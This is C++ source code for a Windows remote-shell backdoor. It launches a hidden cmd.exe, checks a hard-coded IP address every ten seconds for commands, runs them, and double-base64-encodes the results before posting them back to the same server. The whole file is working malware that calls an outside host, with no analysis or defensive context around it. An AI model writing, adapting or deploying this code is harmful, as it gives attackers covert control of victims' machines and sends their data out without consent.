// cmd_2.cpp : Defines the entry point for the application.
//

#include <Windows.h>
#include <string>
#include <WinInet.h>

#pragma comment(lib,"wininet.lib")

using namespace std;

HANDLE hRead,hWrite,hWrite2,hRead2;


string cmd(string command)
{
DWORD bytes=0;
string tmp=command;
tmp+="\r\n";

 WriteFile(hWrite2,tmp.c_str(),tmp.length(),&bytes,NULL);

 DWORD size;
 Sleep(1000);
 string str="";
char* buffer;

 while(1)
 {
PeekNamedPipe(hRead,NULL,NULL,NULL,&size,NULL);


if(size)
{
buffer=(char*)malloc(size+1);
memset(buffer,0,size+1);
ReadFile(hRead,buffer,size,&bytes,NULL);
}

if(bytes>0)
{
str+=buffer;
free(buffer);
}
else
{
if(size)
{
free(buffer);
}
break;
}
bytes=0;
Sleep(500);
 }
 return str;
}


string GetPage(string host,string page)
{
DWORD wrt;
DWORD size;
char* buffer;
string tmp;
HINTERNET hInt=InternetOpen("remoteCmd",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);
HINTERNET hCon=InternetConnect(hInt,host.c_str(),80,NULL,NULL,INTERNET_SERVICE_HTTP,NULL,NULL);
HINTERNET Req=HttpOpenRequest(hCon,NULL,page.c_str(),NULL,NULL,NULL,NULL,NULL);
HttpSendRequest(Req,NULL,NULL,NULL,NULL);
InternetQueryDataAvailable(Req,&size,NULL,NULL);
buffer=(char*)malloc(size+1);
memset(buffer,0,size+1);
InternetReadFile(Req,buffer,size,&wrt);
tmp=buffer;
free(buffer);
return tmp;
}

string PostPage(string host,string page,string post)
{
 DWORD wrt;
 DWORD size;
 char* buffer;
 string tmp;
HINTERNET hInt=InternetOpen("remoteCmd",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);
HINTERNET hCon=InternetConnect(hInt,host.c_str(),80,NULL,NULL,INTERNET_SERVICE_HTTP,NULL,NULL);
HINTERNET Req=HttpOpenRequest(hCon,"POST",page.c_str(),NULL,NULL,NULL,NULL,NULL);
HttpAddRequestHeaders(Req,"Content-Type: application/x-www-form-urlencoded",strlen("Content-Type: application/x-www-form-urlencoded"),HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);
HttpSendRequest(Req,NULL,NULL,(char*)post.c_str(),post.length());
InternetQueryDataAvailable(Req,&size,NULL,NULL);
buffer=(char*)malloc(size+1);
memset(buffer,0,size+1);
InternetReadFile(Req,buffer,size,&wrt);
tmp=buffer;
free(buffer);
return tmp;
}

static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";


static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}

std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];

  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;

      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }

  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';

    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;

    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];

    while((i++ < 3))
      ret += '=';

  }

  return ret;

}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	
STARTUPINFO si;
PROCESS_INFORMATION pi;

 //hWrite --> pipe --> hRead
 //hWrite2 --> pipe --> hRead2


SECURITY_ATTRIBUTES secat;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
secat.nLength=sizeof(secat);
secat.lpSecurityDescriptor=NULL;
secat.bInheritHandle=TRUE;

CreatePipe(&hRead,&hWrite,&secat,0);
CreatePipe(&hRead2,&hWrite2,&secat,0);

 ZeroMemory(&si,sizeof(si));
 si.dwFlags     = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 si.wShowWindow = SW_HIDE;
 si.hStdInput   = hRead2;
 si.hStdOutput  = hWrite;
 si.hStdError = hWrite;

 CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
 

 while(1)
 {
string comm=GetPage("178.63.220.15","cmd/cmd.php");
if(comm.length()>1)
{
comm=cmd(comm);
comm = base64_encode((const unsigned char*)comm.c_str(),comm.length());//results coded in base64
comm = base64_encode((const unsigned char*)comm.c_str(),comm.length());//double base64
string send_buf="cmd=";
send_buf+=comm;//make post variable
comm=PostPage("178.63.220.15","cmd/cmd.php",send_buf);
}
Sleep(10*1000);//wait 10s
 }
 

	return 0;
}



